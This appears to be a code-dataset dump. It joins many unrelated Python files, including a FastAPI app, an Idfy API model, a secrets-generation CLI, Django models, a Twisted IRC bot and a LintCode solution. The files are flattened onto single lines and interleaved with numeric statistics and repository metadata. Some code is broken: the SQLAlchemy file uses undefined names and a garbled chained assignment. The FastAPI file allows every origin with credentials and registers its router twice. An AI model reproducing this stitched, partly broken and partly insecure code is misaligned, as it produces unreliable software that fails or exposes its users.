import uvicorn from fastapi import FastAPI, Request, status from fastapi.encoders import jsonable_encoder from fastapi.middleware.cors import CORSMiddleware from fastapi.middleware.gzip import GZipMiddleware from fastapi.exceptions import RequestValidationError from fastapi.responses import PlainTextResponse from starlette.exceptions import HTTPException as StarletteHTTPException from fastapi.responses import JSONResponse from fastapi.staticfiles import StaticFiles from utils.database import Base, engine from router import router Base.metadata.create_all(bind=engine) origins = [ "*" ] app = FastAPI(title="眯眯老婆的API") @app.exception_handler(StarletteHTTPException) async def http_exception_handler(request: Request, exc): return PlainTextResponse(str(exc.detail), status_code=exc.status_code) @app.exception_handler(RequestValidationError) async def validation_exception_handler(request: Request, exc: RequestValidationError): return JSONResponse( status_code=status.HTTP_422_UNPROCESSABLE_ENTITY, content=jsonable_encoder({"detail": exc.errors(), "body": exc.body}), ) app.include_router(router, prefix="/api") app.add_middleware( CORSMiddleware, allow_origins=origins, allow_credentials=True, allow_methods=["*"], allow_headers=["*"], ) app.add_middleware(GZipMiddleware, minimum_size=1000) app.include_router(router, prefix="/api") app.mount("/static", StaticFiles(directory='./static'), name='static') if __name__ == "__main__": uvicorn.run(app, host="0.0.0.0", port=8080)

30.352941

86

0.786822

181

1,548

6.552486

0.425414

0.074199

0.035413

0.043845

0.112985

0.057336

0

0.010901

0.111111

1,548

50

87

30.96

0.851017

0

0.054054

0

0.04199

0

1

0

false

0

0.324324

0

0.378378

0

null

0

null

0

1

0

1

99bf1a42c7b4098b900a012105dedc1f4e8a5099

438

py

Python

django-varnish-master/setup.py

vdmann/cse-360-image-hosting-website

ad71c082353af4c10dcafd7381415d932cbfabc9

[ "MIT" ]

null

django-varnish-master/setup.py

vdmann/cse-360-image-hosting-website

ad71c082353af4c10dcafd7381415d932cbfabc9

[ "MIT" ]

null

django-varnish-master/setup.py

vdmann/cse-360-image-hosting-website

ad71c082353af4c10dcafd7381415d932cbfabc9

[ "MIT" ]

2

2015-02-25T23:05:21.000Z

2021-11-07T13:15:08.000Z

from distutils.core import setup setup( name = "django-varnish", version = '0.1', url = 'http://opensource.washingtontimes.com/projects/django-varnish/', author = 'Justin Quick', author_email= 'justquick@gmail.com', long_description=open('README.rst').read(), description = 'Integration between Django and the Varnish HTTP accelerator using the management port using telnet', packages = ['varnishapp'] )

31.285714

119

0.703196

51

438

6

0.784314

0.084967

0

0.00551

0.171233

438

13

120

33.692308

0.837466

0

0.521739

0

1

0

true

0

0.090909

0

0.090909

0

null

0

null

0

1

0

1

99d1bc40cd45f1b18fc86b0fb1fe8abea19c68d7

5,631

py

Python

idfy_rest_client/models/update_signer_request_wrapper.py

dealflowteam/Idfy

fa3918a6c54ea0eedb9146578645b7eb1755b642

[ "MIT" ]

null

idfy_rest_client/models/update_signer_request_wrapper.py

dealflowteam/Idfy

fa3918a6c54ea0eedb9146578645b7eb1755b642

[ "MIT" ]

null

idfy_rest_client/models/update_signer_request_wrapper.py

dealflowteam/Idfy

fa3918a6c54ea0eedb9146578645b7eb1755b642

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ idfy_rest_client.models.update_signer_request_wrapper This file was automatically generated for Idfy by APIMATIC v2.0 ( https://apimatic.io ) """ from idfy_rest_client.api_helper import APIHelper import idfy_rest_client.models.redirect_settings import idfy_rest_client.models.signer_info import idfy_rest_client.models.extra_info_signer_request import idfy_rest_client.models.ui import idfy_rest_client.models.notifications class UpdateSignerRequestWrapper(object): """Implementation of the 'UpdateSignerRequestWrapper' model. TODO: type model description here. Attributes: redirect_settings (RedirectSettings): Return urls and domain settings signer_info (SignerInfo): Define the signers name, mobile and email if you are using notifications extra_info (ExtraInfoSignerRequest): Coming soon: Do you want to collect extra info about this specific signer? (for example personal information) ui (UI): Here you can set language, styling and create dialogs the signer have to read before/after the signing notifications (Notifications): Enable / setup email/sms notifications for this specific signer tags (list of string): Signer tags order (int): You can define a specific sign order /queue for the signers if you want to. required (bool): If some of the signers are marked as required, the other signers are not allowed to sign before the required ones have signed the document sign_url_expires (datetime): How long before the signers url should expire? (ISO 8601). This can be set if you only want a limited time to live for each sign url (If you generate a new url at a later time this will also have this limited lifetime). Defaults to the document lifetime. """ # Create a mapping from Model property names to API property names _names = { "redirect_settings":'redirectSettings', "signer_info":'signerInfo', "extra_info":'extraInfo', "ui":'ui', "notifications":'notifications', "tags":'tags', "order":'order', "required":'required', "sign_url_expires":'signUrlExpires' } def __init__(self, redirect_settings=None, signer_info=None, extra_info=None, ui=None, notifications=None, tags=None, order=None, required=None, sign_url_expires=None, additional_properties = {}): """Constructor for the UpdateSignerRequestWrapper class""" # Initialize members of the class self.redirect_settings = redirect_settings self.signer_info = signer_info self.extra_info = extra_info self.ui = ui self.notifications = notifications self.tags = tags self.order = order self.required = required self.sign_url_expires = APIHelper.RFC3339DateTime(sign_url_expires) if sign_url_expires else None # Add additional model properties to the instance self.additional_properties = additional_properties @classmethod def from_dictionary(cls, dictionary): """Creates an instance of this model from a dictionary Args: dictionary (dictionary): A dictionary representation of the object as obtained from the deserialization of the server's response. The keys MUST match property names in the API description. Returns: object: An instance of this structure class. """ if dictionary is None: return None # Extract variables from the dictionary redirect_settings = idfy_rest_client.models.redirect_settings.RedirectSettings.from_dictionary(dictionary.get('redirectSettings')) if dictionary.get('redirectSettings') else None signer_info = idfy_rest_client.models.signer_info.SignerInfo.from_dictionary(dictionary.get('signerInfo')) if dictionary.get('signerInfo') else None extra_info = idfy_rest_client.models.extra_info_signer_request.ExtraInfoSignerRequest.from_dictionary(dictionary.get('extraInfo')) if dictionary.get('extraInfo') else None ui = idfy_rest_client.models.ui.UI.from_dictionary(dictionary.get('ui')) if dictionary.get('ui') else None notifications = idfy_rest_client.models.notifications.Notifications.from_dictionary(dictionary.get('notifications')) if dictionary.get('notifications') else None tags = dictionary.get('tags') order = dictionary.get('order') required = dictionary.get('required') sign_url_expires = APIHelper.RFC3339DateTime.from_value(dictionary.get("signUrlExpires")).datetime if dictionary.get("signUrlExpires") else None # Clean out expected properties from dictionary for key in cls._names.values(): if key in dictionary: del dictionary[key] # Return an object of this model return cls(redirect_settings, signer_info, extra_info, ui, notifications, tags, order, required, sign_url_expires, dictionary)

42.338346

187

0.639318

621

5,631

5.650564

0.283414

0.055571

0.047877

0.062696

0.125392

0.061556

0.023938

0

0.003775

0.294441

5,631

132

188

42.659091

0.879436

0.37702

0

1

0

0.098082

0

0.007576

0

1

0.030303

false

0

0.090909

0

0.181818

0

null

0

1

0

null

0

1

99d2f7973e10165dc388a3dc6849550c2db3e600

1,095

py

Python

lintcode/String/956. Data Segmentation.py

yanshengjia/algorithm

0608d286be9c93d51768d47f21e569c6b0be9cda

[ "MIT" ]

23

2019-08-02T12:02:47.000Z

2022-03-09T15:24:16.000Z

lintcode/String/956. Data Segmentation.py

yanshengjia/algorithm

0608d286be9c93d51768d47f21e569c6b0be9cda

[ "MIT" ]

null

lintcode/String/956. Data Segmentation.py

yanshengjia/algorithm

0608d286be9c93d51768d47f21e569c6b0be9cda

[ "MIT" ]

21

2019-12-22T04:47:32.000Z

2021-09-12T14:29:35.000Z

""" Given a string str, we need to extract the symbols and words of the string in order. Example 1: input: str = "(hi (i am)bye)" outut:["(","hi","(","i","am",")","bye",")"]. Explanation:Separate symbols and words. Solution: Go through the str, push the alphabetical into stack and append it to res list if we meet a non-alpha char. """ # Time: O(N), where N is the length of the input string # Space: O(N) in the worst case as the string is full of alphabetical chars. class Solution: """ @param str: The input string @return: The answer """ def dataSegmentation(self, str): # Write your code here res = [] if len(str) == 0: return res tmp = '' for i in range(len(str)): if str[i].isalpha(): tmp += str[i] else: if len(tmp) > 0: res.append(tmp) tmp = '' if str[i] != ' ': res.append(str[i]) if len(tmp) > 0: res.append(tmp) return res

26.071429

107

0.507763

149

1,095

3.731544

0.47651

0.028777

0.053957

0.028777

0.07554

0

0.00578

0.368037

1,095

41

108

26.707317

0.797688

0.485845

0

0.444444

0

0.001873

0

0.02439

0

1

0.055556

false

0

0.222222

0

null

0

null

0

1

0

1

99d4661007ec7da5c8f2e9e867f297c616d1e26c

709

py

Python

src/orm.py

brianherman/Saati

b57a8c0c8030f9c21c971c2febc9dc9486386af5

[ "Apache-2.0" ]

null

src/orm.py

brianherman/Saati

b57a8c0c8030f9c21c971c2febc9dc9486386af5

[ "Apache-2.0" ]

3

2021-09-08T03:14:51.000Z

2022-03-12T00:57:23.000Z

src/orm.py

brianherman/Saati

b57a8c0c8030f9c21c971c2febc9dc9486386af5

[ "Apache-2.0" ]

null

from sqlalchemy import Column, Integer, String from sqlalchemy.dialects.postgresql import ARRAY, UUID from sqlalchemy.ext.declarative import declarative_base from pydantic import BaseModel, constr Base = declarative_base() class EventOrm(Base): __tablename__ = 'EventLog' uuid = Column(UUID, primary_key=True, nullable=False, default=uuid.uuid4, unique=True) utterance_ts = public_key = Column(String(20), index=True, nullable=False, unique=True) name = Column(String(63), unique=True) class Event(BaseModel): uuid: str = uuid.uuid4() utterance_ts: datetime = datetime.now() input: str output: List[str] sentiment: int sync_ratio: float interactions: int

29.541667

90

0.733427

89

709

5.719101

0.539326

0.082515

0.066798

0

0.010204

0.170663

709

23

91

30.826087

0.855442

0

0.011284

0

null

0

0.210526

null

0

null

0

null

0

1

0

1

99dc8a0bd852d3418f457335ddc67cfce5fb2a5d

6,110

py

Python

psec/secrets/generate.py

davedittrich/python_secrets

63ca7001748464e1632f66cd95edf604c2b517e4

[ "Apache-2.0" ]

10

2019-01-29T19:07:18.000Z

2020-12-27T23:30:44.000Z

psec/secrets/generate.py

davedittrich/python_secrets

63ca7001748464e1632f66cd95edf604c2b517e4

[ "Apache-2.0" ]

1

2020-08-09T08:47:41.000Z

2020-08-12T04:32:02.000Z

psec/secrets/generate.py

davedittrich/python_secrets

63ca7001748464e1632f66cd95edf604c2b517e4

[ "Apache-2.0" ]

3

2019-01-24T20:03:23.000Z

2021-06-29T21:23:27.000Z

# -*- coding: utf-8 -*- import argparse import logging import textwrap from cliff.command import Command from psec.secrets_environment import ( generate_secret, natural_number, DELIMITER, MAX_WORDS_LENGTH, MIN_WORDS_LENGTH, MAX_ACROSTIC_LENGTH, MIN_ACROSTIC_LENGTH, ) from xkcdpass.xkcd_password import CASE_METHODS class SecretsGenerate(Command): """Generate values for secrets.""" logger = logging.getLogger(__name__) def get_parser(self, prog_name): parser = super().get_parser(prog_name) parser.formatter_class = argparse.RawDescriptionHelpFormatter parser.add_argument( '--from-options', action='store_true', dest='from_options', default=False, help=('Set string variables from first available ' 'option (default: False)') ) parser.add_argument( '--min-words-length', action='store', type=natural_number, dest='min_words_length', default=MIN_WORDS_LENGTH, help=('Minimum word length for XKCD words list ' f'(default: {MIN_WORDS_LENGTH})') ) parser.add_argument( '--max-words-length', action='store', type=natural_number, dest='max_words_length', default=MAX_WORDS_LENGTH, help=('Maximum word length for XKCD words list ' f'(default: {MIN_WORDS_LENGTH})') ) parser.add_argument( '--min-acrostic-length', action='store', type=natural_number, dest='min_acrostic_length', default=MIN_ACROSTIC_LENGTH, help=('Minimum length of acrostic word for XKCD password' f'(default: {MIN_ACROSTIC_LENGTH})') ) parser.add_argument( '--max-acrostic-length', action='store', type=natural_number, dest='max_acrostic_length', default=MAX_ACROSTIC_LENGTH, help=('Maximum length of acrostic word for XKCD password' f'(default: {MAX_ACROSTIC_LENGTH})') ) parser.add_argument( '--acrostic', action='store', dest='acrostic', default=None, help=('Acrostic word for XKCD password ' '(default: None)') ) parser.add_argument( '--delimiter', action='store', dest='delimiter', default=DELIMITER, help=('Delimiter for XKCD password ' f"(default: '{DELIMITER}')") ) parser.add_argument( "-C", "--case", dest="case", type=str, metavar="CASE", choices=list(CASE_METHODS.keys()), default="alternating", help=( 'Choose the method for setting the case of each ' 'word in the passphrase. ' f"Choices: {list(CASE_METHODS.keys())} " f"(default: 'alternating')" ) ) parser.add_argument( '-U', '--unique', action='store_true', dest='unique', default=False, help=("Generate unique values for each " "type of secret (default: False)") ) parser.add_argument('arg', nargs='*', default=None) parser.epilog = textwrap.dedent(""" Sets variables by generating values according to the ``Type`` definition for each variable. If you include the ``--from-options`` flag, string variables will also be set according to their default value as described in the help output for the ``secrets set`` command. This allows as many variables as possible to be set with a single command (rather than requiring the user to do both ``secrets set`` and ``secrets generate`` as two separate steps. To affect only a subset of secrets, specify their names as the arguments to this command. If no secrets are specified, all secrets will be affected. """) return parser def take_action(self, parsed_args): self.logger.debug('[*] generating secrets') self.app.secrets.read_secrets_and_descriptions() # If no secrets specified, default to all secrets to_change = parsed_args.arg \ if len(parsed_args.arg) > 0 \ else [k for k, v in self.app.secrets.items()] for secret in to_change: secret_type = self.app.secrets.get_secret_type(secret) # >> Issue: [B105:hardcoded_password_string] Possible hardcoded password: 'string' # noqa # Severity: Low Confidence: Medium # Location: psec/secrets/generate.py:142 # More Info: https://bandit.readthedocs.io/en/latest/plugins/b105_hardcoded_password_string.html # noqa # 142 if parsed_args.from_options and secret_type == 'string': # noqa if secret_type is None: raise TypeError( f"[-] secret '{secret}' " "has no type definition") arguments = self.app.secrets.get_secret_arguments(secret) if parsed_args.from_options and secret_type == 'string': # nosec try: value = self.app.secrets.Options.get(secret).split(',')[0] except Exception: value = None else: value = generate_secret(secret_type=secret_type, *arguments, **dict(parsed_args._get_kwargs())) if value is not None: self.logger.debug( "[+] generated %s for %s", secret_type, secret) self.app.secrets.set_secret(secret, value) # vim: set fileencoding=utf-8 ts=4 sw=4 tw=0 et :

37.484663

116

0.549591

637

6,110

5.11617

0.298273

0.033753

0.052163

0.025775

0.234428

0.150353

0.092053

0.03989

0

0.004813

0.353846

6,110

162

117

37.716049

0.820669

0.081997

0

0.176056

1

0

0.325644

0.020207

0

1

0.014085

false

0.042254

0

0.077465

0

null

0

1

0

null

0

1

99e39fb9e2ee58c7a80711e9248f8542540eb0a0

312

py

Python

veyon/PySwitchTracer/tasks/task1/task_test1.py

IzayoiRin/VirtualVeyonST

d0c4035dba81d02135ad54f4c5a5d463e95f7925

[ "MIT" ]

null

veyon/PySwitchTracer/tasks/task1/task_test1.py

IzayoiRin/VirtualVeyonST

d0c4035dba81d02135ad54f4c5a5d463e95f7925

[ "MIT" ]

null

veyon/PySwitchTracer/tasks/task1/task_test1.py

IzayoiRin/VirtualVeyonST

d0c4035dba81d02135ad54f4c5a5d463e95f7925

[ "MIT" ]

null

import time from tasks.capp import app from others.affine_applications import MoveApps @app.task(name="sdc.move11", bind=True) def task_1(self, x): time.sleep(1) return MoveApps(":move", x).foo() @app.task(name="sdc.move12", bind=True) def task_2(self, x): return MoveApps(":move", x + 1).foo()

19.5

47

0.685897

51

312

4.137255

0.509804

0.066351

0.104265

0.132701

0

0.030075

0.147436

312

15

48

20.8

0.763158

0

0.096154

0

1

0.2

false

0

0.3

0.1

0.7

0

null

0

null

0

1

0

1

99e5a4af88f6d1b77d00c07dfde7cef554ce50b1

220

py

Python

20_exec/12_.py

ScriptErrorVGM/Project2021

593f7fb5cfc5cf82cf1589ccd4b95ed7a13819cb

[ "BSD-3-Clause" ]

null

20_exec/12_.py

ScriptErrorVGM/Project2021

593f7fb5cfc5cf82cf1589ccd4b95ed7a13819cb

[ "BSD-3-Clause" ]

null

20_exec/12_.py

ScriptErrorVGM/Project2021

593f7fb5cfc5cf82cf1589ccd4b95ed7a13819cb

[ "BSD-3-Clause" ]

null

def main(): c = input() if c != c[::-1]: # -1 шаг строки: от конца к началу print("It's not palindrome") else: print("It's palindrome") if __name__ == "__main__": main()

22

56

0.486364

29

220

3.413793

0.655172

0.141414

0.161616

0

0.014085

0.354545

220

10

57

22

0.683099

0.145455

0

0.235955

0

1

0.125

false

0

0.125

0.25

1

0

null

0

null

0

1

99e60bbfcc605867a9682aab23555342422a8ed8

1,657

py

Python

src/gbstrategy/core/_Interface.py

GrayBoxAI/GrayBoxStrategy

7f5fc9dd70cf3cfa626a133de9a0b797fe1a0d7b

[ "Apache-2.0" ]

1

2017-12-04T16:20:59.000Z

src/gbstrategy/core/_Interface.py

GrayBoxAI/GrayBoxStrategy

7f5fc9dd70cf3cfa626a133de9a0b797fe1a0d7b

[ "Apache-2.0" ]

null

src/gbstrategy/core/_Interface.py

GrayBoxAI/GrayBoxStrategy

7f5fc9dd70cf3cfa626a133de9a0b797fe1a0d7b

[ "Apache-2.0" ]

1

2017-12-03T21:38:03.000Z

# Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import copy class Interface(object): "Interface base class for abstracting away the communication layer of the strategy" def __init__(self): self.driver = None self.strategy = None self.factory = None def register_strategy(self, strategy, factory): self.strategy = strategy self.factory = factory def register_driver(self, driver): self.driver = driver def run_exp(self, data): dic = copy.deepcopy(data) end_epoch = dic.pop('end_epoch') exp_id = dic.pop('exp_id') hyperparams = dic self.driver.run_exp(exp_id, end_epoch, hyperparams) def kill_exp(self, data): raise NotImplementedError def next_time_point(self): self.factory.generate_psm() self.driver.next() def upload_training_loss(self, exp_id, epoch, loss_name, loss_value): data = { 'exp_id': exp_id, 'epoch' : epoch, 'loss_name' : loss_name, 'loss_value': loss_value, } self.strategy.ReceiveTrainingLoss(**data)

31.264151

87

0.658419

217

1,657

4.894009

0.460829

0.056497

0.033898

0.030132

0

0.003255

0.258298

1,657

52

88

31.865385

0.860862

0.375377

0

0.113924

0

1

0.225806

false

0

0.032258

0

0.290323

0

null

0

null

0

1

0

1

99e82ceee46963fed497a364bf93cfa803bfca4f

5,430

py

Python

bordercamp/irc.py

mk-fg/bordercamp-irc-bot

c4eda5739e46bc98d6bb1f912285d210e0fa9578

[ "WTFPL" ]

1

2016-04-02T02:52:21.000Z

bordercamp/irc.py

mk-fg/bordercamp-irc-bot

c4eda5739e46bc98d6bb1f912285d210e0fa9578

[ "WTFPL" ]

2

2019-10-14T16:56:52.000Z

2019-10-14T16:57:03.000Z

bordercamp/irc.py

mk-fg/bordercamp-irc-bot

c4eda5739e46bc98d6bb1f912285d210e0fa9578

[ "WTFPL" ]

null

# -*- coding: utf-8 -*- from __future__ import print_function import itertools as it, operator as op, functools as ft from datetime import datetime import os, sys from twisted.internet import reactor, protocol, defer from twisted.words.service import IRCUser, IRCFactory, InMemoryWordsRealm, Group from twisted.cred import checkers, credentials, portal from twisted.words.protocols import irc from twisted.python import log from . import force_bytes class BCBot(irc.IRCClient): versionName, versionEnv = 'bordercamp', '{1} ({0})'.format(*os.uname()[:2]) versionNum = '.'.join( bytes(int(num)) for num in datetime.fromtimestamp(os.stat(__file__).st_mtime).strftime('%y %m %d').split() ) sourceURL = 'http://github.com/mk-fg/bordercamp-irc-bot' def __init__(self, conf, interface): self.conf, self.interface = conf, interface self.heartbeatInterval = self.conf.connection.heartbeat for k in 'nickname', 'realname',\ 'username', 'password', 'userinfo', 'nickname': v = self.conf.connection.get(k) if v: setattr(self, k, v) def connectionMade(self): irc.IRCClient.connectionMade(self) log.debug('Connected to IRC server') def connectionLost(self, reason): log.debug('Lost connection to the IRC server: {}'.format(reason)) irc.IRCClient.connectionLost(self, reason) self.interface.proto_off(self) def signedOn(self): log.debug('Signed on') self.interface.proto_on(self) def joined(self, channel): # znc somehow omits these, it seems log.debug('Joined channel: {}'.format(channel)) def privmsg(self, user, channel, message): nick = user.split('!', 1)[0] if self.conf.nickname_lstrip: nick = nick.lstrip(self.conf.nickname_lstrip) log.noise('Got msg: {}'.format([user, nick, channel, message])) self.interface.proto_msg(self, user, nick, channel, message) def action(self, user, channel, message): self.privmsg(user, channel, '/me {}'.format(message)) def noticed(self, user, channel, message): self.privmsg(user, channel, '/notice {}'.format(message)) class BCClientFactory(protocol.ReconnectingClientFactory): protocol = property(lambda s: ft.partial(BCBot, s.conf, s.interface)) def __init__(self, conf, interface, ep): self.conf, self.interface, self.ep = conf, interface, ep for k,v in self.conf.connection.reconnect.viewitems(): setattr(self, k, v) def connect(self): self.ep.connect(self) def doStop(self): protocol.ReconnectingClientFactory.doStop(self) if self.continueTrying: self.connector = self self.retry() class BCIRCUser(IRCUser): _welcomeMessages = IRCUser._welcomeMessages + [ (irc.RPL_ISUPPORT, 'NETWORK=%(serviceName)s :are supported by this server') ] _motd = None @property def _motdMessages(self): if self._motd is None: self._motd =\ [(irc.RPL_MOTDSTART, ":- %(serviceName)s Message of the Day - ")]\ + list((irc.RPL_MOTD, ': {}'.format(line.strip())) for line in self.factory.motd)\ + [(irc.RPL_ENDOFMOTD, ":End of /MOTD command.")] return self._motd def irc_unknown(self, prefix, command, params): log.info('Ignoring unhandled irc command: {!r}'.format([prefix, command, params])) if self.nickname: self.sendMessage( irc.ERR_UNKNOWNCOMMAND, ':Unknown command ({!r}, parameters: {!r})'.format(command, params) ) def irc_CAP(self, prefix, params): pass # no support for caps def irc_AWAY(self, prefix, params): pass # no point in these def irc_MOTD(self, prefix=None, params=None): for code, text in self._motdMessages: self.sendMessage(code, text % self.factory._serverInfo) def irc_JOIN(self, prefix, params): if not self.avatar: # deny any access to no-auth users self.sendMessage( irc.ERR_NOSUCHCHANNEL, params[0], ':No such channel (or only available for authorized users)' ) for channel in (params[0].split(',') if ',' in params[0] else [params[0]]): IRCUser.irc_JOIN(self, prefix, [channel] + params[1:]) def irc_NICK(self, prefix, params): try: nickname = params[0].decode(self.encoding) except UnicodeDecodeError: self.privmsg( NICKSERV, nickname, 'Nickname cannot be decoded. Use ASCII or {}.'.format(self.encoding.upper()) ) self.transport.loseConnection() return self.nickname = self.name = nickname self.irc_MOTD() if self.password is not None: password, self.password = self.password, None self.logInAs(nickname, password) def privmsg(self, sender, recip, message): # Hard to track how unicode leaks here sender, recip, message = it.imap(force_bytes, [sender, recip, message]) return IRCUser.privmsg(self, sender, recip, message) class BCGroup(Group): def remove(self, user, reason=None): if isinstance(reason, bytes): reason = reason.decode('utf-8', 'replace') return Group.remove(self, user, reason) class BCRealm(InMemoryWordsRealm): def groupFactory(self, name): return BCGroup(name) class BCServerFactory(IRCFactory): protocol = BCIRCUser motd = list() def __init__(self, conf, *channels, **extra_creds): self.conf = conf realm = BCRealm(self.conf.name) passwd = (self.conf.passwd or dict()).copy() passwd.update(extra_creds) realm_portal = portal.Portal(realm, [ checkers.InMemoryUsernamePasswordDatabaseDontUse(**passwd) ]) for channel in channels: if channel[0] == '#': channel = channel[1:] realm.createGroup(unicode(channel)) IRCFactory.__init__(self, realm, realm_portal) if self.conf.motd: self.motd = self.conf.motd.splitlines()

31.941176

86

0.717311

727

5,430

5.275103

0.331499

0.031291

0.016688

0.011734

0.070404

0.022947

0

0.003225

0.143462

5,430

169

87

32.130178

0.821329

0.030018

0

0.103612

0.004373

0

1

0.183333

false

0.075

0.083333

0.008333

0.416667

0.008333

0

null

0

null

0

1

0

1

99ec3a892e6d861858a8898f705378cd048e4725

322

py

Python

UDEMY-Learn Python Programming Masterclass/Section 3-Stepping into the World of Python/sequence_operators.py

Sanjay9921/Python

05ac161dd46f9b4731a5c14ff5ef52adb705e8e6

[ "MIT" ]

null

UDEMY-Learn Python Programming Masterclass/Section 3-Stepping into the World of Python/sequence_operators.py

Sanjay9921/Python

05ac161dd46f9b4731a5c14ff5ef52adb705e8e6

[ "MIT" ]

null

UDEMY-Learn Python Programming Masterclass/Section 3-Stepping into the World of Python/sequence_operators.py

Sanjay9921/Python

05ac161dd46f9b4731a5c14ff5ef52adb705e8e6

[ "MIT" ]

null

str1 = "Liu Kang " str2 = "Johnny Cage " str3 = "Scorpion " str4 = "Sub-Zero " str5 = "Sonya " str6 = "Test yo might! " print(str1 + str2 + str3 + str4 + str5 + str6) print(str3 * 5) print(str3 * (5 + 4)) print(str3 * 5 + "4") today = "Tuesday" # bool - in operator print("day" in today) print("scorpion" in today)

14.636364

46

0.602484

48

322

4.041667

0.541667

0.139175

0.154639

0.113402

0

0.080321

0.226708

322

21

47

15.333333

0.698795

0.055901

0

0.264214

0

1

0

false

0

0.461538

0

null

0

null

0

1

0

1

99ed63650099b14a883f9ecbd4f6ae0c07c8f1c1

455

py

Python

produtos/migrations/0007_auto_20171110_1138.py

Moisestuli/karrata

962ce0c573214bfc83720727c9cacae823a8c372

[ "MIT" ]

null

produtos/migrations/0007_auto_20171110_1138.py

Moisestuli/karrata

962ce0c573214bfc83720727c9cacae823a8c372

[ "MIT" ]

null

produtos/migrations/0007_auto_20171110_1138.py

Moisestuli/karrata

962ce0c573214bfc83720727c9cacae823a8c372

[ "MIT" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.11.4 on 2017-11-10 10:38 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('produtos', '0006_auto_20171109_1046'), ] operations = [ migrations.AlterModelOptions( name='produto', options={'ordering': ('-created_at',), 'verbose_name_plural': 'Produtos'}, ), ]

22.75

86

0.626374

48

455

5.708333

0.791667

0

0.095376

0.23956

455

19

87

23.947368

0.696532

0.149451

0

1

0

0.21875

0.059896

0

1

0

false

0

0.166667

0

0.416667

0

null

0

1

0

null

0

1

99ef47ff1aa8ca73bbcd6a2b57b5a1a59859723b

562

py

Python

users/models.py

barackmaund1/Awwards-

8b749e6ad6a8124ad07434e9fad537d1abe5f274

[ "MIT" ]

null

users/models.py

barackmaund1/Awwards-

8b749e6ad6a8124ad07434e9fad537d1abe5f274

[ "MIT" ]

8

2021-03-19T11:24:02.000Z

2022-03-12T00:34:31.000Z

users/models.py

barackmaund1/Awwards-

8b749e6ad6a8124ad07434e9fad537d1abe5f274

[ "MIT" ]

null

from django.db import models from django.contrib.auth.models import User from PIL import Image # Create your models here. class Profile(models.Model): user = models.OneToOneField(User, on_delete=models.CASCADE) image = models.ImageField(default='default.jpg', upload_to='profile_pics/') contacts=models.CharField(max_length=50 ,blank=True,null=True) bio=models.CharField(max_length=100,blank=True,null=True) def save_profile(self): self.save() def __str__(self): return f'{self.user.username} Profile'

31.222222

79

0.713523

77

562

5.077922

0.558442

0.051151

0.092072

0.122762

0

0.010776

0.174377

562

18

80

31.222222

0.831897

0.042705

0

0.096834

0

1

0.166667

false

0

0.25

0.083333

0.916667

0

null

0

null

0

1

0

1

99f78b44d998e9fd68c5145c5184e776015a4e3f

1,098

py

Python

acxDataProcessor/utils/DsapiParams.py

etbrow/dsapi-hashed-pii-example

9d6bb367c82173ece97b587d5498f24964dadce1

[ "MIT" ]

1

2021-02-11T23:16:05.000Z

acxDataProcessor/utils/DsapiParams.py

etbrow/dsapi-hashed-pii-example

9d6bb367c82173ece97b587d5498f24964dadce1

[ "MIT" ]

null

acxDataProcessor/utils/DsapiParams.py

etbrow/dsapi-hashed-pii-example

9d6bb367c82173ece97b587d5498f24964dadce1

[ "MIT" ]

2

2021-02-12T13:40:17.000Z

2022-02-21T08:07:56.000Z

class DsapiParams: def __init__(self, limit=1, bundles = [], role=None, tenant=None, format = 'json'): self.limit = limit self.bundles = bundles self.role = role self.tenant = tenant self.format = format def formatForRequest(self): formattedString = '?' numParams = 0 if self.limit: formattedString += 'limit=' + str(self.limit) numParams += 1 if self.bundles: if numParams >= 1: formattedString += '&' formattedString += 'bundle=' + ','.join(self.bundles) if self.role: if numParams >= 1: formattedString += '&' formattedString += 'role=' + self.role if self.tenant: if numParams >= 1: formattedString += '&' formattedString += 'tenant=' + self.tenant if self.format: if numParams >= 1: formattedString += '&' formattedString += 'format=' + self.format return formattedString

27.45

87

0.500911

92

1,098

5.934783

0.23913

0.054945

0.087912

0.197802

0.307692

0

0.010401

0.387067

1,098

40

88

27.45

0.800892

0

0.266667

0

0.038217

0

0.033333

0

1

0.066667

false

0

0.133333

0

null

0

1

0

null

0

1

82057f6d4aa9a37f5569d8b86010cd7634ed207a

1,534

py

Python

data/data_structures.py

BrancoLab/LocomotionControl

6dc16c29c13b31f6ad70af954a237e379ee10846

[ "MIT" ]

null

data/data_structures.py

BrancoLab/LocomotionControl

6dc16c29c13b31f6ad70af954a237e379ee10846

[ "MIT" ]

2

2020-11-23T16:32:11.000Z

data/data_structures.py

BrancoLab/LocomotionControl

6dc16c29c13b31f6ad70af954a237e379ee10846

[ "MIT" ]

null

import pandas as pd from dataclasses import dataclass import numpy as np from collections import namedtuple @dataclass class TrackingData: bp: str x: np.ndarray y: np.ndarray bp_speed: np.ndarray speed: np.ndarray = None acceleration: np.ndarray = None orientation: np.ndarray = None angular_velocity: np.ndarray = None angular_acceleration: np.ndarray = None theta: np.ndarray = None thetadot: np.ndarray = None thetadotdot: np.ndarray = None segment: np.ndarray = None global_coord: np.ndarray = None _columns: list = None @classmethod def from_dataframe(cls, tracking: pd.DataFrame) -> namedtuple: """ Given a datraframe with tracking data for many body parts, return a dictionary of instances of TrackingData """ columns = [ c for c in list(tracking.columns) if c not in ["mouse_id", "name", "bpname"] ] data = {} for bp in tracking.bpname: bptracking = tracking.loc[tracking.bpname == bp].iloc[0] data[bp] = TrackingData( bp, **{col: bptracking[col] for col in columns}, _columns=columns + ["bp"], ) tpl = namedtuple("tracking", ", ".join(tracking.bpname)) return tpl(*data.values()) def to_dict(self): if self._columns is None: raise ValueError else: return {c: getattr(self, c) for c in self._columns}

28.943396

72

0.589961

179

1,534

4.994413

0.413408

0.130872

0.145414

0.055928

0

0.000956

0.318123

1,534

52

73

29.5

0.853728

0.069752

0

0.021629

0

1

0.046512

false

0

0.093023

0

0.55814

0

null

0

null

0

1

0

1

820769d8cbca46aadeaef8a6c1a4093e4780c646

2,626

py

Python

tests/phase1_test.py

jfklorenz/Python-RMedian

8c490e003459e94b73fa2a4f51019d880dbb80b2

[ "MIT" ]

1

2020-10-27T19:58:31.000Z

tests/phase1_test.py

